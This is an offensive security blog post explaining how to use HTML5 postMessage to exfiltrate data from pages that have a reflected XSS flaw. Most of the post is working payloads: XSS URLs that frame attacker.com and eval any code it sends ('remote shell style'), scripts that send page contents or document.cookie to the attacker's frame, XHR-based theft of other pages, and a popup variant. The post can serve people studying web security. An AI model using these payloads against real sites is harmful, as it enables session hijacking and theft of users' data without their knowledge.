Exfiltration using postMessage

What is postMessage? postMessage is a new API available as part of the HTML 5 spec, which allows for communication between two documents, regardless of the Same-Origin Policy. These documents can be either iframes or different windows. Several features of postMessage exist to make this communication safer, such as the ability to specify target hosts for messages. Improper use of postMessage opens up a new class of vulnerabilities, but this has already been discussed extensively. [PDF] Instead, I will be discussing postMessage as a technique for exfiltration, useful for when an exploitable XSS vulnerability has been found.

Why postMessage?

Using postMessage has several benefits. The most obvious, and intended benefit, is the ability to communicate between documents of different origins. This communication does not have to touch the network. This allows us to write a minimal payload which can retrieve a more complex payload from the other document - the server will never see it. Another benefit is the ability to exfiltrate entire pages, which lets us parse data offsite or use the data how ever we wish. In the typical exploitation approach, we would have to include all the code to retrieve and parse data in our payload. In short, we can use postMessage to construct a very small and discreet payload which allows us to do much more.

The Scenarios

Because postMessage relies on communication between multiple documents, we have a few scenarios we can work with. In the first scenario, we write an iframe to the victim and start our communication from there. In the second scenario, this is reversed - we iframe the victim from a page we control. Although these scenarios are similar, there are a few nuances which, depending on the situation, can make one better than the other. There is one final scenario, which involves opening a new window to the victim page. It is worth noting that the location of the iframe does not matter, as a full two-way communication will always be possible. For these examples, I will be using a basic reflected XSS vulnerability.

Scenario One: Place an iframe to your page on the victim

A payload for this might look like this:

http://victim.com/vulnerable.php?string=<iframe src="http://attacker.com/"></iframe><script>window.addEventListener('message', function(e) {eval(e.data);}, false)</script>

This payload behaves similarly to a remote shell in that we can get the victim to execute code passed to it over a hidden channel. To receive data, we would have to set up an event listener on attacker.com, and listen for messages from window.top, which will be the victim page.

Here is another payload, but this time without the ability to execute commands dynamically:

http://victim.com/vulnerable.php?string=<iframe src="http://attacker.com/" id="someframe"></iframe><script>document.getElementById('someframe').contentWindow.postMessage(document.body.innerHTML, '*')</script>

What this does is send the contents of the current page to the attacker frame. An id needs to be specified, so we know where to send the data. We can retrieve other pages using XHR as well - I used this as an example in the next scenario.

Advantage: Bypasses any limitations specified by X-Frame-Options.

Disadvantage: Attacker url becomes visible to victim.

Scenario Two: Iframe the victim on your website

A payload for this might look like this: (with this url in an iframe, of course)

http://victim.com/vulnerable.php?string=<script>window.top.postMessage(document.body.innerHTML, '*')</script>

What this would do is send the entire current page up to whoever is iframing this page. This is a small payload which allows us to grab as much data as possible. We don’t even have to be limited to the current page - we can be more creative and use XMLHttpRequest to retrieve even more pages for us, and send the contents of those as well. Here is a simple payload which achieves this:

http://victim.com/vulnerable.php?string=<script>window.top.postMessage(function() {var x=new XMLHttpRequest();x.open('GET','/other/page.html',false);x.send();return x.responseText}(), '*')</script>

Now we can retrieve as many pages as we want and read all the data.

Advantages:

Disadvantage: X-Frame-Options completely kills our ability to iframe the victim and any attempts to communicate with it.

Scenario Three: Open a new window to the victim page

With postMessage, we are not limited to just iframes. Opening new windows is a completely legitimate method for communication using postMessage. An example is the following:

Attacker’s Page:

<script>
    var w = window.open("http://www.victim.com/vulnerable.php?string=<script>window.addEventListener('message', function(e) {eval(e.data);}, false)</script>", "somewindow");
    w.postMessage("window.opener.postMessage(document.body.innerHTML, '*')", "*");
</script>

Here, we open a page to the vulnerable page, have them eval() code that sends us the current page.

Advantages:

Disadvantages: Popups gather a lot of attention, and are easily foiled by popup blockers.

More Payload Examples

Some of these examples are assuming you are using an iframe. If you aren’t, simply substitute “window.top” with your other document.

postMessage a relative path, and this payload will reply with the contents of that page:

<script>
    window.addEventListener(
        'message',
        function(e) {
            window.top.postMessage(
                function() {var x=new XMLHttpRequest();x.open('GET',e.data,false);x.send();return x.responseText}(), '*'
            )
        },
    false);
</script>

Basic example, sends you the victim’s cookie:

<script>
    window.top.postMessage(document.cookie, '*');
</script>

Remote shell style payload. Send some javascript code, and it’ll run on the victim:

<script>
    window.addEventListener('message', function(e) {eval(e.data)}, false);
</script>

Thoughts

Over all, postMessage makes exfiltration an easy task, and can be used to hide our actions and intentions in a way that typical payloads do not allow for. There is also a lot of room to be creative when it comes to using postMessage; the payloads I have used as examples are by no means an exhaustive list. Most of the code I used here can be compressed and simplified a bit, since this was not my main goal.

Although out of the scope of this post, postMessage can be used similarly to do much more than exfiltrate data (bypassing CSRF protections comes to mind).

Further Reading

http://lists.w3.org/Archives/Public/public-web-security/2011Dec/0020.html http://www.cs.berkeley.edu/~devdatta/papers/w2sp10-primitives.pdf http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html#web-messaging https://developer.mozilla.org/en/DOM/window.postMessage